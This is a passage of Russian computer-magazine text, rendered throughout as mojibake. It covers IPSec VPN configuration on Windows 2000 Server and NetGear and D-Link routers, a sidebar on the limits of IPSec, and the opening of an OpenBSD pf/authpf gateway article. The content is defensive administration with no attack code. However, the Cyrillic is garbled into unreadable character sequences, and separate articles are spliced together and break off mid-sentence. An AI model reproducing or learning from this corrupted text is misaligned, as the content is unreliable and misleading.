ÊËÈÊ ÍÀ ÍÀÇÂÀÍÈÈ ÊÎÌÏÜÞÒÅÐÀ, ÄÀ-
ËÅÅ PROPERTIES.

1 8 ÍÀ ÇÀÊËÀÄÊÅ GENERAL ÂÛÁÈÐÀÅØÜ
LOCAL AREA NETWORK (LAN) ROUTING ONLY.

1 9 ÍÀ ÇÀÊËÀÄÊÅ IP ÂÛÁÈÐÀÅØÜ STATIC
IP ADDRESS POOL È ÓÊÀÇÛÂÀÅØÜ ÄÈÀ-
ÏÀÇÎÍ ÀÄÐÅÑÎÂ, ÈÇ ÊÎÒÎÐÎÃÎ L2TP-
/IPSEC-ÊËÈÅÍÒÓ ÁÓÄÓÒ ÂÛÄÀÂÀÒÜÑß
ÀÄÐÅÑÀ (Â ÄÈÀÏÀÇÎÍ ÄÎËÆÍÛ ÂÕÎ-
ÄÈÒÜ ÌÈÍÈÌÓÌ 2 ÀÄÐÅÑÀ). ÅÑÒÅÑÒÂÅÍ-
ÍÎ, ×ÒÎÁÛ ÓÄÀËÅÍÍÎÌÓ ÏÎËÜÇÎÂÀÒÅ-
ËÞ ÁÛËÈ ÄÎÑÒÓÏÍÛ ÐÅÑÓÐÑÛ ÑÅÒÈ
«À», ÂÛÄÀÂÀÅÌÛÅ IP-ÀÄÐÅÑÀ ÄÎËÆÍÛ
ÁÛÒÜ ÈÇ ÝÒÎÉ ÆÅ ÑÅÒÈ.

2 0 ÍÀÆÈÌÀÅØÜ OK È YES, ÑÎÃËÀØÀßÑÜ
Ñ ÏÅÐÅÇÀÃÐÓÇÊÎÉ ÑËÓÆÁÛ.

Ïåðâûé èç âûäåëåííîãî äèàïàçîíà àäðåñîâ áóäåò
èñïîëüçîâàòüñÿ ñàìèì ñåðâåðîì RRAS.

Äàëåå íóæíî ïîëó÷èòü ñåðòèôèêàò äëÿ IPSec
èç óäîñòîâåðÿþùåãî öåíòðà, êîòîðûé åñòü â ñïèñêå
äîâåðåííûõ öåíòðîâ ó÷åòíîé çàïèñè êîìïüþòåðà.

íàñòðîéêà êêëèåíòà:
1 ÌÅÍÞ START CONTROL PANEL
NETWORK CONNECTIONS.

2 ÇÀÏÓÑÊÀÅØÜ ÌÀÑÒÅÐ ÑÎÇÄÀÍÈß
ÏÎÄÊËÞ×ÅÍÈÉ, ÍÀÆÈÌÀß CREATE 
A NEW CONNECTIONS.

3 ÍÀÆÈÌÀÅØÜ NEXT.

4 ÂÛÁÈÐÀÅØÜ CONNECT TO THE 
NETWORK AT MY WORKPLACE È
ÍÀÆÈÌÀÅØÜ NEXT.

5 ÂÛÁÈÐÀÅØÜ VIRTUAL PRIVATE 
NETWORK CONNECTION NEXT.

6 ÄÀËÅÅ ÏÈØÅØÜ ÍÀÇÂÀÍÈÅ ÏÎÄÊËÞ-
×ÅÍÈß, ÍÀÏÐÈÌÅÐ OFFICE_NET_VPN.

7 ÓÊÀÇÛÂÀÅØÜ, ÍÓÆÍÎ ËÈ ÏÅÐÅÄ ÑÎÇ-
ÄÀÍÈÅÌ VPN ÓÑÒÀÍÀÂËÈÂÀÒÜ DIAL-UP
ÑÎÅÄÈÍÅÍÈÅ. È, ÅÑËÈ ÍÓÆÍÎ, ÒÎ ÊÀ-
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ÊÎÅ (ÍÀÏÐÈÌÅÐ, ÅÑËÈ Ó ÑÎÒÐÓÄÍÈÊÀ
ÄÎÌÀ ÍÅ ÂÛÄÅËÅÍÍÀß ËÈÍÈß, À ÌÎ-
ÄÅÌÍÛÉ ÄÎÑÒÓÏ), ÍÀÆÈÌÀÅØÜ NEXT.

8 ÓÊÀÇÛÂÀÅØÜ IP_G_ÂÍÅØ, ÍÀÆÈÌÀ-
ÅØÜ NEXT È FINISH.

Ñîåäèíåíèå ñîçäàíî. Òåïåðü íóæíî óêàçàòü ó÷åò-
íóþ çàïèñü, èìåþùóþ ïðàâî óñòàíîâêè âõîäÿùåãî
ñîåäèíåíèÿ ÷åðåç RRAS. Â ïðîñòåéøåì ñëó÷àå
äàòü òàêèå ïðàâà ìîæíî, êëèêíóâ â îñíàñòêå Local
Users and Computers (åñëè äîìåí Active Directory
Users and Computers) ó÷åòíóþ çàïèñü ïîëüçîâàòåëÿ
è âûáðàâ íà çàêëàäêå Dial-in îïöèþ Allow Access.

Ââîäèøü ó÷åòíóþ çàïèñü è ïàðîëü, íàæèìà-
åøü íà Connect. Åñëè âñå ïðîøëî óäà÷íî, â ïðà-
âîì íèæíåì óãëó ðÿäîì ñ ÷àñàìè ïîÿâèòñÿ çíà÷îê
íîâîãî ïîäêëþ÷åíèÿ. Ùåëêíóâ ïî íåìó äâà ðàçà è
ïåðåéäÿ íà çàêëàäêó Details, ìîæíî ïðîêîíòðîëè-
ðîâàòü ïàðàìåòðû ñîåäèíåíèÿ.

×òîáû íå äîáàâëÿòü â òàáëèöó ìàðøðóòèçàöèè
íà êîìïüþòåðå, ïîëó÷àþùåì óäàëåííûé äîñòóï,
ëèøíèé øëþç ïî óìîë÷àíèþ, íóæíî ïðîèçâåñòè ñëå-
äóþùèå ìàíèïóëÿöèè: ïðàâûé êëèê íà çíà÷êå ïîäê-
ëþ÷åíèÿ, íà çàêëàäêå Networking âûáðàòü Internet Pro-
tocol (TCP/IP), äàëåå Properties, äàëåå Advanced è óá-
ðàòü îïöèþ Use Default Gateway on Remote Network.

íàñòðîéêà NNetGear PProSafe FFVS114. IPSec —
ýòî ïðîìûøëåííûé ñòàíäàðò. Çíà÷èò, ðåàëèçàöèè

ýòîãî ñòàíäàðòà ðàçíûìè ïðîèçâîäèòåëÿìè äîëæ-
íû óñïåøíî âçàèìîäåéñòâîâàòü ìåæäó ñîáîé. Ïðî-
âåðèì ýòî, «ïîäðóæèâ» äëÿ íà÷àëà Windows 2000
Server è ìàðøðóòèçàòîð ñ ïîääåðæêîé VPN —
ProSafe VPN Firewall FVS114 îò Netgear.

Ñâÿæåì èõ ñ ïîìîùüþ IPSec â ðåæèìå òóí-
íåëÿ è àóòåíòèôèêàöèåé ñ ïîìîùüþ ïðåäîïðåäå-
ëåííîãî êëþ÷à.

Íàñòðàèâàåøü Windows 2000 Server òî÷íî
òàê æå, êàê ðàíåå, íå çàäóìûâàÿñü, ÷òî ñ äðóãîé
ñòîðîíû IPSec-òóííåëÿ. Òî åñòü ñíà÷àëà ñîçäàåøü
ïîëèòèêó IPSec ñ äâóìÿ ïðàâèëàìè äëÿ êàæäîãî èç
íàïðàâëåíèé òðàôèêà, íàçíà÷àåøü ýòó ïîëèòèêó è
çàòåì ëèáî äîáàâëÿåøü ñòàòè÷åñêèé ìàðøðóò è
ïðîèçâîäèøü ïðàâêó ðååñòðà, ëèáî ÷åðåç RRAS
íàñòðàèâàåøü ðîóòèíã äî ñåòè «Á».

Íàñòðàèâàåòñÿ ÷åðåç web-èíòåðôåéñ. Ïî -
óìîë÷àíèþ IP-àäðåñ ëîêàëüíîãî èíòåðôåéñà —
192.168.0.1, ó÷åòíàÿ çàïèñü äëÿ àäìèíèñòðèðîâà-
íèÿ — admin ñ ïàðîëåì password (ïåðâûì äåëîì ïà-
ðîëü ïî óìîë÷àíèþ íåîáõîäèìî ïîìåíÿòü).

1 ÌÅÍÞ START RUN È ÏÈØÅØÜ
HTTP://192.168.0.1/BASICSETTING.HTM
(×ÒÎÁÛ ÇÀÉÒÈ ÍÀ ÝÒÎÒ ÈÍÒÅÐÔÅÉÑ,
ÒÛ ÄÎËÆÅÍ ÏÐÈÍÀÄËÅÆÀÒÜ ÑÅÒÈ
192.168.0.0/24).

2 Â ÎÊÍÅ BASIC SETTINGS ÂÂÎÄÈØÜ IP-
ÀÄÐÅÑ (IP_FVS_ÂÍÅØ), ÌÀÑÊÓ, ØËÞÇ

È DNS ÑÅÐÂÅÐÀ ÄËß ÂÍÅØÍÅÃÎ ÈÍÒÅÐ-
ÔÅÉÑÀ, ÍÀÆÈÌÀÅØÜ ÍÀ APPLY.

3 ÑËÅÂÀ ÂÛÁÈÐÀÅØÜ LAN IP SETUP
È ÍÀÑÒÐÀÈÂÀÅØÜ IP-ÀÄÐÅÑ
(IP_FVS_ÂÍÓÒ) È ÌÀÑÊÓ ÍÀ ËÎÊÀËÜÍÎÌ
ÈÍÒÅÐÔÅÉÑÅ. ÅÑËÈ ÈÇÌÅÍÈØÜ ËÎ-
ÊÀËÜÍÛÉ ÀÄÐÅÑ, ÒÎ ÄÎÑÒÓÏ Ê WEB-ÈÍ-
ÒÅÐÔÅÉÑÓ, ÅÑÒÅÑÒÂÅÍÍÎ, ÏÐÎÏÀÄÅÒ,
È ÍÓÆÍÎ ÁÓÄÅÒ ÈÇÌÅÍÈÒÜ URL ÍÀ ÍÎ-
ÂÛÉ (HTTP://IP_FVS_ÂÍÓÒ/BASICSET-
TING.HTM). ÏÐÈ ÝÒÎÌ Ó ÒÅÁß ÄÎËÆÅÍ
ÁÛÒÜ ÍÀÑÒÐÎÅÍ IP-ÀÄÐÅÑ, ÂÕÎÄßÙÈÉ
Â ÍÎÂÓÞ ËÎÃÈ×ÅÑÊÓÞ ÑÅÒÜ.

4 ÑËÅÂÀ ÂÛÁÈÐÀÅØÜ VPN WIZARD
È ÆÌÅØÜ NEXT.

5 ÇÀÄÀÅØÜ ÈÌß ÑÎÅÄÈÍÅÍÈß È ÏÐÅÄÎÏ-
ÐÅÄÅËÅÍÍÛÉ ÊËÞ× (PRE-SHARED KEY).

6 ÎÑÒÀÂËßÅØÜ ÎÏÖÈÞ A REMOTE VPN
GATEWAY È ÍÀÆÈÌÀÅØÜ NEXT.

7 ÓÊÀÇÛÂÀÅØÜ IP-ÀÄÐÅÑ ÓÄÀËÅÍÍÎÃÎ
ÊÎÍÖÀ ÒÓÍÍÅËß IP_W2KS_ÂÍÅØ
È ÆÌÅØÜ NEXT.

8 ÓÊÀÇÛÂÀÅØÜ IP-ÀÄÐÅÑ È ÌÀÑÊÓ 
ÓÄÀËÅÍÍÎÉ ÑÅÒÈ («À») È ÆÌÅØÜ NEXT.

9 Â ÑËÅÄÓÞÙÅÌ ÎÊÍÅ ÆÌÅØÜ DONE.

Òåïåðü â ïóíêòàõ ìåíþ IKE Policies è VPN Policies
ïîÿâèëèñü ïîëèòèêè, ñîçäàííûå íà îñíîâå äàííûõ,
ââåäåííûõ íàìè â ìàñòåðå ñîçäàíèÿ VPN.

Âñå, ïðîáóé óñòàíîâèòü ñîåäèíåíèå, íàïðè-
ìåð âûïîëíèâ ping ñ óçëà â ñåòè «A» äî óçëà â ñåòè
«Á». Ïèíã èäåò. Ipsecmon ïîäòâåðæäàåò, ÷òî IPSec-
ñîåäèíåíèå óñòàíîâèëîñü. Â ïóíêòå ìåíþ VPN
Status íà FVS114 âèäíî óñòàíîâëåííûå àññîöèà-
öèè áåçîïàñíîñòè. Èõ òðè äëÿ îäíîãî VPN-ñîåäè-
íåíèÿ (ïî îäíîé äëÿ IPSec-òðàôèêà â êàæäîì íàï-
ðàâëåíèè è îäíà — äëÿ IKE).

D-LLink DDI-8804HV. Òåïåðü â ýòîì æå ñöåíàðèè
çàìåíèì FVS114 íà DI-804HV.

Ó ìîäåëè 804HV íåò ìàñòåðà ñîçäàíèÿ VPN-
ñîåäèíåíèÿ, êàê â FVS114, è íåò ïðåäîïðåäåëåííûõ
ãðóïï íàñòðîåê, êàê â Windows-ñèòåìàõ. Ïàðàìåòðû
IPSec- è IKE-ñîåäèíåíèÿ íóæíî ââîäèòü âðó÷íóþ.
Ïîäãîòîâèìñÿ ê ýòîìó è ïîñìîòðèì, êàêèå ìåòîäû
áåçîïàñíîñòè íàñòðîåíû â Windows 2000 Server.

×òîáû ïîñìîòðåòü è îòðåäàêòèðîâàòü ïàðà-
ìåòðû äëÿ IKE, â ñèñòåìàõ Windows íóæíî:

1 ÌÅÍÞ START RUN SECPOL.MSC
È ÍÀÆÈÌÀÅØÜ ENTER.

2 ÂÛÁÈÐÀÅØÜ IP SECURITY POLICIES ON
LOCAL MACHINE, ÄÀËÅÅ ÄÂÎÉÍÎÉ ÊËÈÊ
ÍÀ ÍÓÆÍÎÉ ÏÎËÈÒÈÊÅ È ÏÅÐÅÕÎÄÈØÜ
ÍÀ ÇÀÊËÀÄÊÓ GENERAL, ÄÀËÅÅ
ADVANCEDÅ È METHODSÅ.

Îòìå÷àåøü ïåðâûé ìåòîä áåçîïàñíîñòè, êîòîðûé
ïðåäëàãàåòñÿ äëÿ IKE-ñîåäèíåíèÿ:

18 ÇÀÙÈÒÀ Ó×ÀÑÒÊÀ ÑÏÅÖ 11-06

Èëëþçèÿ ççàùèòû
Íè÷åãî íå èìåÿ ïðîòèâ
IP Security, õîòåë áû 
îáðàòèòü âíèìàíèå 
íà èëëþçèþ çàùèòû,
êîòîðóþ ñîçäàåò ýòî
ñåìåéñòâî ïðîòîêîëîâ.
Îáåñïå÷èòü æå íàñòîÿ-
ùóþ çàùèòó îíî íå
â ñîñòîÿíèè. Îñîáåííî
íà áåñïðîâîäíûõ óñò-
ðîéñòâàõ, äðàéâåðà êî-
òîðûõ ñîäåðæàò ìíîæå-
ñòâî îøèáîê, ïðèâîäÿ-

ùèõ ê âîçìîæíîñòè
óäàëåííîãî âòîðæåíèÿ
íà àòàêóåìóþ ìàøèíó.
Êðèòè÷íûé ê ïåðåõâàòó
òðàôèê ëó÷øå âñåãî
ïóñêàòü ïî ôèçè÷åñêè
çàùèùåííûì êàíàëàì
ñâÿçè, ãäå IPSec íå íó-
æåí. Óñòàíîâêà IPSec
íà íåçàùèùåííûå êà-
íàëû ñâÿçè ðåøàåò
ïðîáëåìó ìåòîäîì
«ñòðàóñà», íåÿâíî ïîñ-
òóëèðóÿ, ÷òî íè îïåðà-

öèîííàÿ ñèñòåìà, íè
âõîäÿùèå â åå ñîñòàâ
äðàéâåðà, íè ïðî÷åå
îáîðóäîâàíèå íå ñîäåð-
æàò äûð, ÷òî âîâñå íå
ôàêò, è ìíîãî÷èñëåííûå
õàêåðñêèå àòàêè ýòî íàã-
ëÿäíî ïîäòâåðæäàþò.
Âî ìíîãèõ ñëó÷àÿõ IPSec
äàæå ñòèìóëèðóåò àòàêó,
ïîñêîëüêó ñàì ôàêò åãî
ïðèìåíåíèÿ óêàçûâàåò
íà çíà÷èìîñòü ïåðåäà-
âàåìîé èíôîðìàöèè.

ÊÐÈÑ
ÊÀÑÏÅÐÑÊÈ

ÑÀÌÛÉ ÈÇÂÅÑÒÍÛÉ 
Â ÊÎÌÏÜÞÒÅÐÍÎÌ ÑÎÎÁÙÅÑÒÂÅ 
ÃÐÛÇÓÍ. ÝÒÎÒ ×ÅËÎÂÅÊÎÎÁÐÀÇÍÛÉ 
ÕÀÊÅÐ ÒÎ×ÈÒ ÂÑÅ — ÍÀ×ÈÍÀß 
ÎÒ ÁÅÇÎÁÈÄÍÛÕ ÏÐÎÃÐÀÌÌ 
È ÇÀÊÀÍ×ÈÂÀß ÊÐÅÏÊÈÌ 
ÊÎÌÏÜÞÒÅÐÍÛÌ ÆÅËÅÇÎÌ. 
ÍÅ ÏÎÏÀÄÀÉÑß ÅÌÓ ÏÎÄ ÕÂÎÑÒ!

S P E  I A L Ì Í Å Í È Å



1 ÀËÃÎÐÈÒÌ ØÈÔÐÎÂÀÍÈß 3DES.
2 ÀËÃÎÐÈÒÌ ÖÅËÎÑÒÍÎÑÒÈ SHA1.
3 ÃÐÓÏÏÀ ÄÈÔÔÈ-ÕÅËÌÀÍÀ ÑÐÅÄÍßß (2).
4 ÑÐÎÊ ÆÈÇÍÈ ÊËÞ×À — 480 ÌÈÍÓÒ.

×òîáû ïîñìîòðåòü è îòðåäàêòèðîâàòü ïàðàìåòðû
äëÿ IPSec, íóæíî:

1 ÌÅÍÞ START, ÄÀËÅÅ RUN, ÍÀÁÈÐÀÅØÜ
SECPOL.MSC È ÍÀÆÈÌÀÅØÜ ENTER.

2 ÂÛÁÈÐÀÅØÜ IP SECURITY POLICIES ON
LOCAL MACHINE, ÄÀËÅÅ ÄÂÎÉÍÎÉ ÊËÈÊ
ÍÀ ÏÎËÈÒÈÊÅ, Â ÑÏÈÑÊÅ ÏÐÀÂÈË ÍÀ
ÍÓÆÍÎÌ— ÄÂÎÉÍÎÉ ÊËÈÊ.

3 ÍÀ ÇÀÊËÀÄÊÅ FILTER ACTION ÄÂÎÉ-
ÍÎÉ ÊËÈÊ ÍÀ ÒÐÅÁÓÅÌÎÌ, È ÐÅÄÀÊÒÈ-
ÐÓÅØÜ.

Îòìå÷àåøü ïåðâûé ìåòîä áåçîïàñíîñòè, êîòîðûé
ïðåäëàãàåòñÿ äëÿ IPSec-ñîåäèíåíèÿ:

1 ÈÍÊÀÏÑÓËßÖÈß AH — ÍÅÒ.

2 ÈÍÊÀÏÑÓËßÖÈß ESP — ÅÑÒÜ.
A) ØÈÔÐÎÂÀÍÈÅ 3DES
Á) ÖÅËÎÑÒÍÎÑÒÜ SHA1

3 ÃÅÍÅÐÈÐÎÂÀÒÜ ÍÎÂÛÉ ÊËÞ× ×ÅÐÅÇ
ÊÀÆÄÛÅ 100000 ÊÁ ÈËÈ 900 ÑÅÊÓÍÄ.

Ìû îáðàòèëè âíèìàíèå íà ìåòîäû, íàõîäÿùèåñÿ
íà ïåðâûõ ïîçèöèÿõ è â IKE, è â IPSec, òàê êàê îíè
áîëåå áåçîïàñíûå (3DES ñèëüíåå DES, à SHA1 —
ñèëüíåå MD5). Åñëè âàæíåå ïðîèçâîäèòåëüíîñòü,
ìîæíî âûáðàòü äðóãèå ìåòîäû.

Òåïåðü ïðèñòóïàé ê íàñòðîéêå DI-804HV (ñî ñòî-
ðîíû Windows 2000 Server íèêàêèõ èçìåíåíèé íå ïðî-
èçâîäèøü):

1 ÌÅÍÞ START RUN È ÏÈØÅØÜ
HTTP://192.168.0.1/ (×ÒÎÁÛ ÇÀÉÒÈ ÍÀ
ÝÒÎÒ ÈÍÒÅÐÔÅÉÑ, ÒÛ ÄÎËÆÅÍ ÏÐÈ-
ÍÀÄËÅÆÀÒÜ ÑÅÒÈ 192.168.0.0/24). ÈÌß
ÏÎËÜÇÎÂÀÒÅËß — ADMIN, ÏÀÐÎËÜ —
ÏÓÑÒÎÉ (ÍÀÄÎ ÒÓÒ ÆÅ ÓÑÒÀÍÎÂÈÒÜ ÅÃÎ).

2 ÂÛÁÈÐÀÅØÜ ÍÀÑÒÐÎÉÊÓ WAN È ÂÂÎ-
ÄÈØÜ IP-ÀÄÐÅÑ (IP_DLINK_ÂÍÅØ), ÌÀÑ-
ÊÓ, ØËÞÇ È DNS ÑÅÐÂÅÐÀ ÄËß ÂÍÅØ-
ÍÅÃÎ ÈÍÒÅÐÔÅÉÑÀ È ÍÀÆÈÌÀÅØÜ
ÍÀ APPLY.

3 ÂÛÁÈÐÀÅØÜ ÍÀÑÒÐÎÉÊÓ LAN È ÍÀÑÒ-
ÐÀÈÂÀÅØÜ IP-ÀÄÐÅÑ (IP_DLINK_ÂÍÓÒ)
È ÌÀÑÊÓ ÍÀ ËÎÊÀËÜÍÎÌ ÈÍÒÅÐÔÅÉÑÅ.
ÅÑËÈ ÈÇÌÅÍÈØÜ ËÎÊÀËÜÍÛÉ ÀÄÐÅÑ,
ÒÎ ÄÎÑÒÓÏ Ê WEB-ÈÍÒÅÐÔÅÉÑÓ ÏÐÎÏÀ-
ÄÅÒ, È ÍÓÆÍÎ ÁÓÄÅÒ ÈÇÌÅÍÈÒÜ URL
ÍÀ ÍÎÂÛÉ (HTTP://IP_DLINK_ÂÍÓÒ), 
ÏÐÈ ÝÒÎÌ ÄÎËÆÅÍ ÁÛÒÜ ÍÀÑÒÐÎÅÍ 
IP-ÀÄÐÅÑ, ÂÕÎÄßÙÈÉ Â ÍÎÂÓÞ 
ËÎÃÈ×ÅÑÊÓÞ ÑÅÒÜ.

4 ÂÛÁÈÐÀÅØÜ ÍÀÑÒÐÎÉÊÓ VPN.

5 ÂÊËÞ×ÀÅØÜ ÂÎÇÌÎÆÍÎÑÒÜ VPN, 
ÂÛÁÈÐÀß ÎÏÖÈÞ VPN ENABLE.

6 ÄÀÅØÜ ÍÀÇÂÀÍÈÅ ÒÓÍÍÅËÞ, 
ÍÀÏÐÈÌÅÐ DI804-W2KAS.

7 ÌÅÒÎÄ ÎÑÒÀÂËßÅØÜ IKE, 
ÍÀÆÈÌÀÅØÜ MORE.

8 ÂÂÎÄÈØÜ:
À) LOCAL SUBNET — ÀÄÐÅÑ ÑÅÒÈ «Á»,
LOCAL NETMASK – ÌÀÑÊÀ ÑÅÒÈ «Á»,
Á) REMOTE SUBNET — ÀÄÐÅÑ ÑÅÒÈ «A»,
REMOTE NETMASK — ÌÀÑÊÀ ÑÅÒÈ «A»,
Â) REMOTE GATEWAY — IP_W2KS_ÂÍÅØ,
Ã) IKE KEEP ALIVE — ÏÐÎÈÇÂÎËÜÍÛÉ
ÀÄÐÅÑ ÈÇ ÑÅÒÈ «À»,
Ä) PRESHARED KEY — PASSWORD.

9 ÍÀÆÈÌÀÅØÜ APPLY È ÏÎÑËÅ ÐÅÑÒÀÐ-
ÒÀ ÎÁÎÐÓÄÎÂÀÍÈß ÂÛÁÈÐÀÅØÜ
SELECT IKE PROPOSAL.

1 0 ÂÂÎÄÈØÜ:
À) PROPOSAL NAME — METHOD1,
Á) DH GROUP — GROUP2,
Â) ENCRYPT ALGORITHM — 3DES,
Ã) AUTH ALGORITHM — SHA1,
Ä) LIFE TIME – 28800 (480, 
ÓÌÍÎÆÅÍÍÎÅ ÍÀ 60).

1 1 ÏÐÈÌÅÍßÅØÜ ÈÇÌÅÍÅÍÈÅ, 
ÍÀÆÈÌÀß APPLY.

1 2 ÂÛÁÈÐÀÅØÜ PROPOSAL ID 1, 
ÍÀÆÈÌÀÅØÜ ADD TO, ÄÀËÅÅ APPLY, 
ÇÀÒÅÌ BACK.

1 3 ÂÛÁÈÐÀÅØÜ SELECT 
IPSEC PROPOSAL.

1 4 ÂÂÎÄÈØÜ:
A) PROPOSAL NAME — METHOD1,
Á) DH GROUP — NONE,
Â) ENCAP PROTOCOL — ESP,
Ã) ENCRYPT ALGORITHM — 3DES,
Ä) AUTH ALGORITHM — SHA1,
Å) LIFE TIME — 900.

1 5 ÏÐÈÌÅÍßÅØÜ ÈÇÌÅÍÅÍÈÅ, ÍÀÆÈ-
ÌÀß APPLY.

1 6 ÂÛÁÈÐÀÅØÜ PROPOSAL ID 1, 
ÍÀÆÈÌÀÅØÜ ADD TO, ÄÀËÅÅ APPLY, 
ÇÀÒÅÌ BACK.

Ïðîâåðÿåøü óñòàíîâêó ñîåäèíåíèÿ ñòàíäàðòíûì
ñïîñîáîì ÷åðåç ïèíã.

×òîáû ïðîâåðèòü ñîñòîÿíèå IPSec-òóííåëÿ
íà DI804, ìîæíî ïîñìîòðåòü ëîã–ôàéëû, íà çàê-
ëàäêå Status ìåíþ Logs è VPN Status.

ïðèâåäåííûõ ïïðèìåðîâ äîëæíî áûòü äîñòà-
òî÷íî äëÿ òîãî, ÷òîáû íàñòðîèòü IPSec íà ëþáîì
äðóãîì àïïàðàòíîì ìàðøðóòèçàòîðå. Òàê ÷òî ìîæ-
íî ïðèñòóïàòü ê ñêðåùèâàíèþ
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Òàêîé ìåõàíèçì ðàáîòû îòêðûâàåò ïîèñòèíå
áåçãðàíè÷íûé ïðîñòîð äëÿ ïîëåòà âàøåé ôàíòà-
çèè: îðãàíèçàöèÿ îãðàíè÷åííîãî èëè ïîëíîãî äî-
ñòóïà â èíòåðíåò è çàêðûòûå ñåãìåíòû ñåòè, «óì-
íûé» ôîðâàðäèíã âõîäÿùåãî è èñõîäÿùåãî TCP-/
UDP-òðàôèêà, à òàêæå ïðîâåäåíèå àóäèòà ñ æóð-
íàëèðîâàíèåì èìåí ïîëüçîâàòåëåé è âðåìåíè èõ
àóòåíòèôèêàöèè.

óâåðòþðà êê îñíîâíîìó ääåéñòâèþ. Çàùèòà
ïîëüçîâàòåëüñêîãî òðàôèêà — îäíà èç îñíîâíûõ
ïðîáëåì, ñ êîòîðîé ñòàëêèâàþòñÿ ïðè îðãàíèçà-
öèè äîìàøíåé ñåòè. Êàæäûé àáîíåíò, âëàäåþ-
ùèé âîïðîñîì ïîäìåíû IP- è MAC-àäðåñà, òàê è
íîðîâèò ñêà÷àòü ïàðó-òðîéêó ãèãàáàéò èíôîðìà-
öèè «çà ñ÷åò» ñâîåãî ñîñåäà. Êàê ïðàâèëî, èñ-
ïîëüçîâàíèå ñðåäñòâ âðîäå ñòàòè÷åñêîé arp-òàá-
ëèöû èëè ïðîñòîå îòñëåæèâàíèå ñìåíû àäðåñà
ñïåöèàëüíûìè óòèëèòàìè (arpwatch) íå ÿâëÿåòñÿ
ýôôåêòèâíûì, ïîýòîìó äëÿ çàùèòû îò êðàæè
òðàôèêà àäìèíèñòðàòîðû ñòàðàþòñÿ ïðèìåíÿòü

ãðîìîçäêèå è íå âñåãäà íàäåæíûå êîíñòðóêöèè
íà áàçå FreeRadius, MySQL/Post-greSQL, mpd/
poptop è ò.ä.

Ñîâñåì íåäàâíî ïîÿâèëîñü äîâîëüíî ýëåãà-
íòíîå ðåøåíèå, êîòîðîå ñîñòîèò â èñïîëüçîâàíèè
ïàêåòíîãî ôèëüòðà pf è àâòîðèçàöèîííîãî øåëëà
authpf. Íî ñâÿçêà pf + authpf — íå ïàíàöåÿ, à äîïîë-
íèòåëüíîå ñðåäñòâî äëÿ ðàçãðàíè÷åíèÿ äîñòóïà
â 802.3/802.11 ñåòÿõ.

íåïîòîïëÿåìûé OOpenSSH. Ïðåæäå ÷åì ïðî-
èçâîäèòü íàñòðîéêó authpf, íåîáõîäèìî ïåðåîïðå-
äåëèòü íåêîòîðûå äåôîëòíûå çíà÷åíèÿ ïåðåìåí-
íûõ äåìîíà sshd(8). Òàê ìû óñëîæíèì ïîòåíöèàëü-
íîìó çëîóìûøëåííèêó óñïåøíîå ïðîâåäåíèå ñåòå-
âîé àòàêè ñ öåëüþ ïåðåõâàòà è ïîäìåíû íàøåé
ssh-ñåññèè (ñìîòðè ëèñòèíã 1).

Äëÿ òîãî ÷òîáû âíåñåííûå èçìåíåíèÿ âñòó-
ïèëè â ñèëó, íåîáõîäèìî äàòü óêàçàíèå äåìîíó ïå-
ðå÷èòàòü ñâîé êîíôèã:

# kill -HUP ̀ sed q /var/run/sshd.pid`

Òåïåðü, êàê òîëüêî authpf ïîëó÷èò ñèãíàë SIGINT
èëè SIGTERM, ssh-ñåññèÿ àóòåíòèôèöèðîâàííîãî
ïîëüçîâàòåëÿ çàâåðøèòñÿ äîëæíûì îáðàçîì, ïåð-
ñîíèôèöèðîâàííûå «ðóëåñåòû» áóäóò êîððåêòíî
âûãðóæåíû èç îáùåãî íàáîðà ïðàâèë, è íå ïðîè-
çîéäåò ñîõðàíåíèå ñîñòîÿíèÿ ñîåäèíåíèé â òàáëè-
öå çàïèñåé ôàéðâîëà.

ìàãèÿ aauthpf. Authpf ïðåäñòàâëÿåò ñîáîé ïñåâ-
äîîáîëî÷êó, êîòîðàÿ íàçíà÷àåòñÿ ïîëüçîâàòåëþ ñèñ-
òåìû â êà÷åñòâå login shell (çàïèñü /usr/sbin/authpf

ÄÈÍÀÌÈ×ÅÑÊÎÅ ÈÇÌÅÍÅÍÈÅ ÏÐÀÂÈË ÔÀÉÐÂÎËÀ
ÈÑÏÎËÜÇÎÂÀÍÈÅ ÀÓÒÅÍÒÈÔÈÊÀÖÈÎÍÍÎÃÎ ØËÞÇÀ ÍÀ ÁÀÇÅ ÑÂßÇÊÈ PF + AUTHPF
ÏÎÇÂÎËÈÒ ÊÎÍÒÐÎËÈÐÎÂÀÒÜ ÄÎÑÒÓÏ, ÎÑÍÎÂÛÂÀßÑÜ ÍÀ ÏÐÀÂÀÕ
ÇÀÐÅÃÈÑÒÐÈÐÎÂÀÂØÅÃÎÑß ÏÎ SSH ÏÎËÜÇÎÂÀÒÅËß. ÕÈÒÐÎÑÒÜ ÇÀÊËÞ×ÀÅÒÑß Â ÒÎÌ,
×ÒÎ Â ÇÀÂÈÑÈÌÎÑÒÈ ÎÒ ÂÂÅÄÅÍÍÛÕ ËÎÃÈÍÀ È ÏÀÐÎËß ÍÀ ØËÞÇÅ ÁÓÄÓÒ ÂÑÒÓÏÀÒÜ
Â ÑÈËÓ ÏÅÐÑÎÍÀËÜÍÛÅ ÏÐÀÂÈËÀ ÔÀÉÐÂÎËÀ

Andrey Matveev 
andrushock@real.xakep.ru

ìàðø-ááðîñîê



â ôàéë /etc/shells äîáàâëÿòü íå ñëåäóåò). Ïðè àâòî-
ðèçàöèè ïîëüçîâàòåëÿ ïî ssh ê òåêóùèì ïðàâèëàì
ôèëüòðà ïàêåòîâ ñ ïîìîùüþ òàê íàçûâàåìûõ ÿêîðåé
(anchors) áóäóò ïðèñîåäèíåíû ïðàâèëà, óêàçàííûå
â ôàéëå /etc/authpf/authpf.rules, ëèáî â /etc/authpf/ users/
$USER. Â äîáàâëÿåìûõ ïðàâèëàõ äîïóñêàåòñÿ èñ-
ïîëüçîâàíèå çàðåçåðâèðîâàííûõ ìàêðîñîâ $user_id
è $user_ip, çà ñ÷åò êîòîðûõ áóäåò ïðîèñõîäèòü àâòî-
ìàòè÷åñêàÿ ïîäñòàíîâêà èìåíè è IP-àäðåñà ïîäêëþ-
÷èâøåãîñÿ ïîëüçîâàòåëÿ (çíà÷åíèÿ ìàêðîñîâ ñ÷èòû-
âàþòñÿ èç ïåðåìåííûõ îêðóæåíèÿ ssh àâòîìàòè÷åñêè).

Íî âåðíåìñÿ ê íàñòðîéêå. Äëÿ íà÷àëà ïîäê-
ëþ÷èì ìåõàíèçì ÿêîðåé. Äëÿ ýòîãî äîáàâèì çàïè-
